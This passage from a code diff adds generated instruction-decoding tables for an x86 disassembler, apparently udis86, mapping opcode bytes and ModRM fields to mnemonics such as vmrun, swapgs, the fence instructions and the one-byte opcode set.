ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_04__VENDOR }, + /* 05 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_05__VENDOR }, + /* 06 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_06__VENDOR }, + /* 07 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_07__VENDOR }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_00__vendor[2] = { + /* 00 */ { UD_Ivmrun, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_01__vendor[2] = { + /* 00 */ { UD_Ivmmcall, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_02__vendor[2] = { + /* 00 */ { UD_Ivmload, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_03__vendor[2] = { + /* 00 */ { UD_Ivmsave, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_04__vendor[2] = { + /* 00 */ { UD_Istgi, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_05__vendor[2] = { + /* 00 */ { UD_Iclgi, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_06__vendor[2] = { + /* 00 */ { UD_Iskinit, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_03__mod__op_01__rm__op_07__vendor[2] = { + /* 00 */ { UD_Iinvlpga, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_04__mod[2] = { + /* 00 */ { UD_Ismsw, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_06__mod[2] = { + /* 00 */ { UD_Ilmsw, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_07__mod[2] = { + /* 00 */ { UD_Iinvlpg, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Igrp_rm, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_07__MOD__OP_01__RM }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_07__mod__op_01__rm[8] = { + /* 00 */ { UD_Iswapgs, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG__OP_07__MOD__OP_01__RM__OP_01__VENDOR }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_01__reg__op_07__mod__op_01__rm__op_01__vendor[2] = { + /* 00 */ { UD_Irdtscp, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_0d__reg[8] = { + /* 00 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__0f__op_18__reg[8] = { + /* 00 */ { UD_Iprefetchnta, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iprefetcht0, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Iprefetcht1, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Iprefetcht2, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_71__reg[8] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Ipsrlw, O_PR, O_Ib, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Ipsraw, O_PR, O_Ib, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Ipsllw, O_PR, O_Ib, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_72__reg[8] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Ipsrld, O_PR, O_Ib, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Ipsrad, O_PR, O_Ib, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Ipslld, O_PR, O_Ib, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_73__reg[8] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Ipsrlq, O_PR, O_Ib, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Ipsllq, O_PR, O_Ib, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_ae__reg[8] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Ildmxcsr, O_Md, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Istmxcsr, O_Md, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_AE__REG__OP_05__MOD }, + /* 06 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_AE__REG__OP_06__MOD }, + /* 07 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_AE__REG__OP_07__MOD }, +}; + +static struct ud_itab_entry itab__0f__op_ae__reg__op_05__mod[2] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Igrp_rm, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_AE__REG__OP_05__MOD__OP_01__RM }, +}; + +static struct ud_itab_entry itab__0f__op_ae__reg__op_05__mod__op_01__rm[8] = { + /* 00 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Ilfence, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_ae__reg__op_06__mod[2] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Igrp_rm, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_AE__REG__OP_06__MOD__OP_01__RM }, +}; + +static struct ud_itab_entry itab__0f__op_ae__reg__op_06__mod__op_01__rm[8] = { + /* 00 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Imfence, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_ae__reg__op_07__mod[2] = { + /* 00 */ { UD_Iclflush, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Igrp_rm, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_AE__REG__OP_07__MOD__OP_01__RM }, +}; + +static struct ud_itab_entry itab__0f__op_ae__reg__op_07__mod__op_01__rm[8] = { + /* 00 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__0f__op_ba__reg[8] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Ibt, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Ibts, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ibtr, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Ibtc, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__0f__op_c7__reg[8] = { + /* 00 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_C7__REG__OP_00__VENDOR }, + /* 01 */ { UD_Icmpxchg8b, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_C7__REG__OP_07__VENDOR }, +}; + +static struct ud_itab_entry itab__0f__op_c7__reg__op_00__vendor[2] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Ivmptrld, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__0f__op_c7__reg__op_07__vendor[2] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Ivmptrst, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__0f__op_d9__mod[2] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_D9__MOD__OP_01__X87 }, +}; + +static struct ud_itab_entry itab__0f__op_d9__mod__op_01__x87[64] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 08 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 09 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 10 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 11 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 12 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 13 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 14 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 15 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 16 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 17 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 18 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 19 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 20 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 21 */ { UD_Ifabs, O_NONE, O_NONE, O_NONE, P_none }, + /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 28 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 29 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 30 */ { UD_If2xm1, O_NONE, O_NONE, O_NONE, P_none }, + /* 31 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 32 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 33 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 34 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 35 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte[256] = { + /* 00 */ { UD_Iadd, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iadd, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Iadd, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Iadd, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Iadd, O_AL, O_Ib, O_NONE, P_none }, + /* 05 */ { UD_Iadd, O_rAX, O_Iz, O_NONE, P_oso|P_rexw }, + /* 06 */ { UD_Ipush, O_ES, O_NONE, O_NONE, P_inv64|P_none }, + /* 07 */ { UD_Ipop, O_ES, O_NONE, O_NONE, P_inv64|P_none }, + /* 08 */ { UD_Ior, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 09 */ { UD_Ior, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0A */ { UD_Ior, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0B */ { UD_Ior, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0C */ { UD_Ior, O_AL, O_Ib, O_NONE, P_none }, + /* 0D */ { UD_Ior, O_rAX, O_Iz, O_NONE, P_oso|P_rexw }, + /* 0E */ { UD_Ipush, O_CS, O_NONE, O_NONE, P_inv64|P_none }, + /* 0F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 10 */ { UD_Iadc, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 11 */ { UD_Iadc, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 12 */ { UD_Iadc, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 13 */ { UD_Iadc, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 14 */ { UD_Iadc, O_AL, O_Ib, O_NONE, P_none }, + /* 15 */ { UD_Iadc, O_rAX, O_Iz, O_NONE, P_oso|P_rexw }, + /* 16 */ { UD_Ipush, O_SS, O_NONE, O_NONE, P_inv64|P_none }, + /* 17 */ { UD_Ipop, O_SS, O_NONE, O_NONE, P_inv64|P_none }, + /* 18 */ { UD_Isbb, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 19 */ { UD_Isbb, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1A */ { UD_Isbb, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1B */ { UD_Isbb, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1C */ { UD_Isbb, O_AL, O_Ib, O_NONE, P_none }, + /* 1D */ { UD_Isbb, O_rAX, O_Iz, O_NONE, P_oso|P_rexw }, + /* 1E */ { UD_Ipush, O_DS, O_NONE, O_NONE, P_inv64|P_none }, + /* 1F */ { UD_Ipop, O_DS, O_NONE, O_NONE, P_inv64|P_none }, + /* 20 */ { UD_Iand, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 21 */ { UD_Iand, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 22 */ { UD_Iand, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 23 */ { UD_Iand, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 24 */ { UD_Iand, O_AL, O_Ib, O_NONE, P_none }, + /* 25 */ { UD_Iand, O_rAX, O_Iz, O_NONE, P_oso|P_rexw }, + /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 27 */ { UD_Idaa, O_NONE, O_NONE, O_NONE, P_inv64|P_none }, + /* 28 */ { UD_Isub, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 29 */ { UD_Isub, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 2A */ { UD_Isub, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 2B */ { UD_Isub, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 2C */ { UD_Isub, O_AL, O_Ib, O_NONE, P_none }, + /* 2D */ { UD_Isub, O_rAX, O_Iz, O_NONE, P_oso|P_rexw }, + /* 2E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2F */ { UD_Idas, O_NONE, O_NONE, O_NONE, P_inv64|P_none }, + /* 30 */ { UD_Ixor, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 31 */ { UD_Ixor, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 32 */ { UD_Ixor, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 33 */ { UD_Ixor, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 34 */ { UD_Ixor, O_AL, O_Ib, O_NONE, P_none }, + /* 35 */ { UD_Ixor, O_rAX, O_Iz, O_NONE, P_oso|P_rexw }, + /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 37 */ { UD_Iaaa, O_NONE, O_NONE, O_NONE, P_inv64|P_none }, + /* 38 */ { UD_Icmp, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 39 */ { UD_Icmp, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 3A */ { UD_Icmp, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 3B */ { UD_Icmp, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 3C */ { UD_Icmp, O_AL, O_Ib, O_NONE, P_none }, + /* 3D */ { UD_Icmp, O_rAX, O_Iz, O_NONE, P_oso|P_rexw }, + /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3F */ { UD_Iaas, O_NONE, O_NONE, O_NONE, P_inv64|P_none }, + /* 40 */ { UD_Iinc, O_eAX, O_NONE, O_NONE, P_oso }, + /* 41 */ { UD_Iinc, O_eCX, O_NONE, O_NONE, P_oso }, + /* 42 */ { UD_Iinc, O_eDX, O_NONE, O_NONE, P_oso }, + /* 43 */ { UD_Iinc, O_eBX, O_NONE, O_NONE, P_oso }, + /* 44 */ { UD_Iinc, O_eSP, O_NONE, O_NONE, P_oso }, + /* 45 */ { UD_Iinc, O_eBP, O_NONE, O_NONE, P_oso }, + /* 46 */ { UD_Iinc, O_eSI, O_NONE, O_NONE, P_oso }, + /* 47 */ { UD_Iinc, O_eDI, O_NONE, O_NONE, P_oso }, + /* 48 */ { UD_Idec, O_eAX, O_NONE, O_NONE, P_oso }, + /* 49 */ { UD_Idec, O_eCX, O_NONE, O_NONE, P_oso }, + /* 4A */ { UD_Idec, O_eDX, O_NONE, O_NONE, P_oso }, + /* 4B */ { UD_Idec, O_eBX, O_NONE, O_NONE, P_oso }, + /* 4C */ { UD_Idec, O_eSP, O_NONE, O_NONE, P_oso }, + /* 4D */ { UD_Idec, O_eBP, O_NONE, O_NONE, P_oso }, + /* 4E */ { UD_Idec, O_eSI, O_NONE, O_NONE, P_oso }, + /* 4F */ { UD_Idec, O_eDI, O_NONE, O_NONE, P_oso }, + /* 50 */ { UD_Ipush, O_rAXr8, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 51 */ { UD_Ipush, O_rCXr9, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 52 */ { 